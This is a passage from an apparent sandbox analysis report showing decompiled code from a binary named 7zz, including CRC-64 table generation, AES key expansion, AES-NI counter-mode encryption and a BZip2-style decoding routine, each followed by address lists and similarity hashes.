0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((( !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) >> 0x1) >> 0x1) >> 0x1) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((( !((( !((( !((( !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((( !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) >> 0x1) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((( !((( !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((( !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) >> 0x1) >> 0x1) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((( !((( !((( !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((( !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) >> 0x1) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((( !((( !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((( !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) >> 0x1) >> 0x1) >> 0x1) >> 0x1) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((( !((( !((( !((( !((( !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((( !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) >> 0x1) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((( !((( !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((( !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) >> 0x1) >> 0x1) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((( !((( !((( !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((( !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) >> 0x1) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((( !((( !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((( !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) >> 0x1) >> 0x1) >> 0x1) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((( !((( !((( !((( !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((( !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) >> 0x1) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((( !((( !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((( !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) >> 0x1) >> 0x1) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((( !((( !((( !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((( !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) >> 0x1) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((( !((( !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((( !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) >> 0x1) >> 0x1) >> 0x1) >> 0x1) >> 0x1) >> 0x1;
					asm("adc esi, 0xffffffff");
					_t64 = ( !0x00000000 << 0x00000020 | _t63) >> 1;
					 *(0x495a20 + _t114 * 8) =  !((_t63 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ _t64;
					 *((intOrPtr*)(0x495a24 + _t114 * 8)) = 0x928828;
					_t114 = _t114 + 1;
				} while (_t114 < 0x100);
				return _t64;
			}

0x00467e82
0x00467e84
0x00467e90
0x00467eb8
0x00467edf
0x00467f05
0x00467f2c
0x00467f52
0x00467f79
0x00467f87
0x00467f9f
0x00467fa2
0x00467fbc
0x00467fc3
0x00467fca
0x00467fcb
0x00467fd9

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23c8aaa3664de804fa2ce29b316b560c6082957a249a83d654323075b2432b7d
Instruction ID: 58285889abc0c4558893f753c2962dba04340085c6fb08ee3641d5c85bffa47e
Opcode Fuzzy Hash: 23c8aaa3664de804fa2ce29b316b560c6082957a249a83d654323075b2432b7d
Instruction Fuzzy Hash: 92318C7BE75C3402E388883ACC233A7504397D5734B6ED3797C76EA2D9EDAD98810194

Uniqueness

Uniqueness Score: -1.00%

Function 0046A2A0 Relevance: .1, Instructions: 95
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0046A2A0(signed int* __edx) {
				signed int _t35;
				signed int _t37;
				signed int _t38;
				signed int* _t39;
				signed int* _t40;
				unsigned int _t47;
				signed int _t48;
				signed int* _t49;
				signed int* _t50;
				signed int _t54;
				signed int _t77;
				signed int _t85;
				unsigned int _t86;
				void* _t94;

				_t50 = __edx;
				_t47 =  *(_t94 + 0xc);
				_t86 = _t47 + 0x1c;
				_t48 = _t47 >> 2;
				_t35 = (_t48 >> 1) + 3;
				_t85 = 0;
				 *(_t94 + 0xc) = _t86;
				 *_t49 = _t35;
				if(_t48 == 0) {
					L2:
					if(_t85 >= _t86) {
						return _t35;
					}
					 *((intOrPtr*)(_t94 + 0x14)) = _t49 + 0x10 + (_t85 - _t48) * 4;
					do {
						_t37 = _t85;
						_t38 = _t37 / _t48;
						_t54 = _t37 % _t48;
						_t77 =  *(_t49 + 0xc + _t85 * 4);
						if(_t54 != 0) {
							if(_t48 > 6 && _t54 == 4) {
								_t77 =  *((_t77 & 0x000000ff) + 0x48dc78) & 0x000000ff | (( *((_t77 >> 0x00000010 & 0x000000ff) + 0x48dc78) & 0x000000ff | ( *((_t77 >> 0x18) + 0x48dc78) & 0x000000ff) << 0x00000008) << 0x00000008 |  *((_t77 >> 0x00000008 & 0x000000ff) + 0x48dc78) & 0x000000ff) << 0x00000008;
							}
						} else {
							_t18 = _t38 + 0x48dd78; // 0x8040201
							_t86 =  *(_t94 + 0x10);
							_t77 =  *((_t77 >> 0x00000008 & 0x000000ff) + 0x48dc78) & 0x000000ff ^  *_t18 & 0x000000ff | ((( *((_t77 & 0x000000ff) + 0x48dc78) & 0x000000ff) << 0x00000008 |  *((_t77 >> 0x18) + 0x48dc78) & 0x000000ff) << 0x00000008 |  *((_t77 >> 0x00000010 & 0x000000ff) + 0x48dc78) & 0x000000ff) << 0x00000008;
						}
						_t39 =  *(_t94 + 0x18);
						 *(_t49 + 0x10 + _t85 * 4) =  *_t39 ^ _t77;
						_t85 = _t85 + 1;
						_t40 =  &(_t39[1]);
						 *(_t94 + 0x18) = _t40;
					} while (_t85 < _t86);
					return _t40;
				} else {
					goto L1;
				}
				do {
					L1:
					_t35 =  *_t50;
					 *(_t49 + 0x10 + _t85 * 4) = _t35;
					_t85 = _t85 + 1;
					_t50 =  &(_t50[1]);
				} while (_t85 < _t48);
				goto L2;
			}

0x0046a2a0
0x0046a2a2
0x0046a2a7
0x0046a2aa
0x0046a2b2
0x0046a2b5
0x0046a2b7
0x0046a2bb
0x0046a2bf
0x0046a2cf
0x0046a2d1
0x0046a3c4
0x0046a3c4
0x0046a2df
0x0046a2e4
0x0046a2e6
0x0046a2e8
0x0046a2e8
0x0046a2ea
0x0046a2f0
0x0046a350
0x0046a3a1
0x0046a3a1
0x0046a2f2
0x0046a2f2
0x0046a340
0x0046a349
0x0046a349
0x0046a3a3
0x0046a3ab
0x0046a3af
0x0046a3b0
0x0046a3b3
0x0046a3b7
0x00000000
0x00000000
0x00000000
0x00000000
0x0046a2c1
0x0046a2c1
0x0046a2c1
0x0046a2c3
0x0046a2c7
0x0046a2c8
0x0046a2cb
0x00000000

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9ad90c045aee2e314f446bae37fd2ae8d495a05db838e50cc6b87b586cac8e5
Instruction ID: 55640d85d086321eab8c1dde6dfc87ccde0e417aff073f041b781c99bee8189f
Opcode Fuzzy Hash: d9ad90c045aee2e314f446bae37fd2ae8d495a05db838e50cc6b87b586cac8e5
Instruction Fuzzy Hash: 86314DB1E046B606F3109E3F8C4012AB7D3AFC2211F18C6BAE5954B78AEA359592C756

Uniqueness

Uniqueness Score: -1.00%

Function 004729A3 Relevance: .1, Instructions: 92
COMMONCrypto

Download Yara Rule

C-Code - Quality: 15%

			E004729A3(void* __ecx, void* __edx, intOrPtr _a4) {
				intOrPtr _v0;
				intOrPtr _v4;
				intOrPtr _v8;
				void* _v13;
				intOrPtr _t6;
				void* _t7;
				void* _t8;
				void* _t9;
				void* _t13;
				void* _t17;

				_t13 = __edx;
				_t6 = _a4;
				asm("movdqa xmm6, [ecx]");
				 *( &_v13 << 4) = 1;
				_v8 = 0;
				_v4 = 0;
				_v0 = 0;
				_t17 =  ~( *(__ecx + 0x10) << 5) + 0x20;
				while(1) {
					_t6 = _t6 - 4;
					if(_t6 < 0) {
						break;
					}
					asm("movdqa xmm7, [ebp]");
					asm("paddq xmm6, xmm7");
					asm("movdqa xmm0, xmm6");
					asm("paddq xmm6, xmm7");
					asm("movdqa xmm1, xmm6");
					asm("paddq xmm6, xmm7");
					asm("movdqa xmm2, xmm6");
					asm("paddq xmm6, xmm7");
					asm("movdqa xmm3, xmm6");
					_t8 = _t17;
					asm("movdqa xmm7, [ebx+ecx-0x20]");
					asm("pxor xmm0, xmm7");
					asm("pxor xmm1, xmm7");
					asm("pxor xmm2, xmm7");
					asm("pxor xmm3, xmm7");
					asm("movdqa xmm7, [ebx+ecx-0x10]");
					asm("aesenc xmm0, xmm7");
					asm("aesenc xmm1, xmm7");
					asm("aesenc xmm2, xmm7");
					asm("aesenc xmm3, xmm7");
					do {
						asm("movdqa xmm7, [ebx+ecx]");
						asm("aesenc xmm0, xmm7");
						asm("aesenc xmm1, xmm7");
						asm("aesenc xmm2, xmm7");
						asm("aesenc xmm3, xmm7");
						asm("movdqa xmm7, [ebx+ecx+0x10]");
						asm("aesenc xmm0, xmm7");
						asm("aesenc xmm1, xmm7");
						asm("aesenc xmm2, xmm7");
						asm("aesenc xmm3, xmm7");
						_t8 = _t8 + 0x20;
					} while (_t8 != 0);
					asm("movdqa xmm7, [ebx+ecx]");
					asm("aesenclast xmm0, xmm7");
					asm("aesenclast xmm1, xmm7");
					asm("aesenclast xmm2, xmm7");
					asm("aesenclast xmm3, xmm7");
					asm("pxor xmm0, [edx]");
					asm("pxor xmm1, [edx+0x10]");
					asm("pxor xmm2, [edx+0x20]");
					asm("pxor xmm3, [edx+0x30]");
					asm("movdqa [edx], xmm0");
					asm("movdqa [edx+0x10], xmm1");
					asm("movdqa [edx+0x20], xmm2");
					asm("movdqa [edx+0x30], xmm3");
					_t13 = _t13 + 0x40;
				}
				_t7 = _t6 + 4;
				while(1) {
					_t7 = _t7 - 1;
					if(_t7 < 0) {
						break;
					}
					asm("paddq xmm6, [ebp]");
					_t9 = _t17;
					asm("movdqa xmm0, [ebx+ecx-0x20]");
					asm("pxor xmm0, xmm6");
					asm("aesenc xmm0, [ebx+ecx-0x10]");
					do {
						asm("aesenc xmm0, [ebx+ecx]");
						asm("aesenc xmm0, [ebx+ecx+0x10]");
						_t9 = _t9 + 0x20;
					} while (_t9 != 0);
					asm("aesenclast xmm0, [ebx+ecx]");
					asm("pxor xmm0, [edx]");
					asm("movdqa [edx], xmm0");
					_t13 = _t13 + 0x10;
				}
				asm("movdqa [esi+ecx-0x40], xmm6");
				return _t7;
			}

0x004729a3
0x004729b3
0x004729bd
0x004729cd
0x004729d4
0x004729db
0x004729e2
0x004729ed
0x00472ad1
0x00472ad1
0x00472ad4
0x00000000
0x00000000
0x00472a00
0x00472a05
0x00472a09
0x00472a0d
0x00472a11
0x00472a15
0x00472a19
0x00472a1d
0x00472a21
0x00472a25
0x00472a27
0x00472a2d
0x00472a31
0x00472a35
0x00472a39
0x00472a3d
0x00472a43
0x00472a48
0x00472a4d
0x00472a52
0x00472a57
0x00472a57
0x00472a5c
0x00472a61
0x00472a66
0x00472a6b
0x00472a70
0x00472a76
0x00472a7b
0x00472a80
0x00472a85
0x00472a8a
0x00472a8a
0x00472a8f
0x00472a94
0x00472a99
0x00472a9e
0x00472aa3
0x00472aa8
0x00472aac
0x00472ab1
0x00472ab6
0x00472abb
0x00472abf
0x00472ac4
0x00472ac9
0x00472ace
0x00472ace
0x00472ada
0x00472b1a
0x00472b1a
0x00472b1d
0x00000000
0x00000000
0x00472adf
0x00472ae4
0x00472ae6
0x00472aec
0x00472af0
0x00472af7
0x00472af7
0x00472afd
0x00472b04
0x00472b04
0x00472b09
0x00472b0f
0x00472b13
0x00472b17
0x00472b17
0x00472b1f
0x00472b28

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e781e73348b070714efe4b9f1f387dbcbf5b044bf6c7f23a7a0004d2e0ca769a
Instruction ID: 5cb57f84dd04878d09e3172b721f2800985639ad8fca4f63b4680496e6127096
Opcode Fuzzy Hash: e781e73348b070714efe4b9f1f387dbcbf5b044bf6c7f23a7a0004d2e0ca769a
Instruction Fuzzy Hash: 2441C360C14F9652EB234F7CC842272B320BFAB204F00D76AFDD1B9923FB726544A255

Uniqueness

Uniqueness Score: -1.00%

Function 00447150 Relevance: .1, Instructions: 87
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E00447150(intOrPtr __ecx, intOrPtr __edx) {
				signed int _t31;
				intOrPtr _t34;
				signed int _t46;
				unsigned int _t51;
				intOrPtr _t63;
				intOrPtr _t68;
				intOrPtr _t71;
				signed int _t72;
				unsigned int _t73;
				unsigned int _t78;
				void* _t81;
				signed int _t83;
				intOrPtr* _t84;

				 *_t84 = __edx;
				_t63 = __ecx;
				_t78 =  *(_t84 + 0x1c);
				_push(_t72);
				_t73 = _t72 | 0xffffffff;
				_t51 =  *(__ecx + ( *(__ecx +  *(_t84 + 0xc) * 4) >> 8) * 4);
				 *((intOrPtr*)(_t84 + 0x14)) = __ecx;
				_t46 = _t51 & 0x000000ff;
				_t81 = 0;
				while(1) {
					_t31 = _t51 & 0x000000ff;
					 *(_t84 + 0x1c) =  *(_t63 + (_t51 >> 8) * 4);
					if(_t81 != 4) {
						goto L9;
					}
					if(_t31 <= 0) {
						L8:
						_t81 = 0;
						L13:
						_t34 =  *((intOrPtr*)(_t84 + 0x10)) - 1;
						 *((intOrPtr*)(_t84 + 0x10)) = _t34;
						if(_t34 != 0) {
							_t51 =  *(_t84 + 0x1c);
							_t63 =  *((intOrPtr*)(_t84 + 0x14));
							continue;
						}
						return  !_t73;
					}
					_t83 = _t31;
					do {
						_t73 = _t73 << 0x00000008 ^  *(0x490de8 + (_t73 >> 0x00000018 ^ _t46) * 4);
						 *( *((intOrPtr*)(_t78 + 4)) +  *_t78) = _t46;
						_t71 =  *((intOrPtr*)(_t78 + 4)) + 1;
						 *((intOrPtr*)(_t78 + 4)) = _t71;
						_t87 = _t71 -  *((intOrPtr*)(_t78 + 8));
						if(_t71 ==  *((intOrPtr*)(_t78 + 8))) {
							E0040EFBD(_t78, _t87);
						}
						_t83 = _t83 - 1;
					} while (_t83 != 0);
					goto L8;
					L9:
					__eflags = _t31 - _t46;
					if(_t31 != _t46) {
						_t81 = 0;
						__eflags = 0;
					}
					_t81 = _t81 + 1;
					_t46 = _t31;
					_t73 = _t73 << 0x00000008 ^  *(0x490de8 + (_t73 >> 0x00000018 ^ _t31) * 4);
					 *( *((intOrPtr*)(_t78 + 4)) +  *_t78) = _t31;
					_t68 =  *((intOrPtr*)(_t78 + 4)) + 1;
					 *((intOrPtr*)(_t78 + 4)) = _t68;
					__eflags = _t68 -  *((intOrPtr*)(_t78 + 8));
					if(__eflags == 0) {
						E0040EFBD(_t78, __eflags);
					}
					goto L13;
				}
			}

0x00447157
0x0044715b
0x00447163
0x0044716a
0x0044716b
0x0044716e
0x00447171
0x00447177
0x0044717d
0x00447189
0x0044718e
0x00447199
0x0044719d
0x00000000
0x00000000
0x004471a1
0x004471da
0x004471da
0x00447219
0x0044721d
0x0044721e
0x00447222
0x00447181
0x00447185
0x00000000
0x00447185
0x00447233
0x00447233
0x004471a3
0x004471a5
0x004471bb
0x004471bd
0x004471c6
0x004471c9
0x004471cc
0x004471ce
0x004471d2
0x004471d2
0x004471d7
0x004471d7
0x00000000
0x004471de
0x004471de
0x004471e0
0x004471e2
0x004471e2
0x004471e2
0x004471e6
0x004471ec
0x004471fb
0x004471ff
0x00447208
0x0044720b
0x0044720e
0x00447210
0x00447214
0x00447214
0x00000000
0x00447210

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b71167f41ca9b4d6a0c5eec9fd16e49cfac46e0cfb7b91671476faf95e24c566
Instruction ID: 6d1edcbece74eb57210dc0e7beee4c9fd278fcd77491b57e59e489f7b1564d5e
Opcode Fuzzy Hash: b71167f41ca9b4d6a0c5eec9fd16e49cfac46e0cfb7b91671476faf95e24c566
Instruction Fuzzy Hash: A2217135708A468FD728DE59D89042BB3D2EFD9300B14893EE59AC7341DB34ED16CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00459E70 Relevance: .1, Instructions: 74
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00459E70(void* __ecx) {
				signed int _t35;
				signed int _t36;
				void* _t37;
				unsigned int _t67;
				signed int* _t68;

				_t37 = __ecx;
				_t67 = 0;
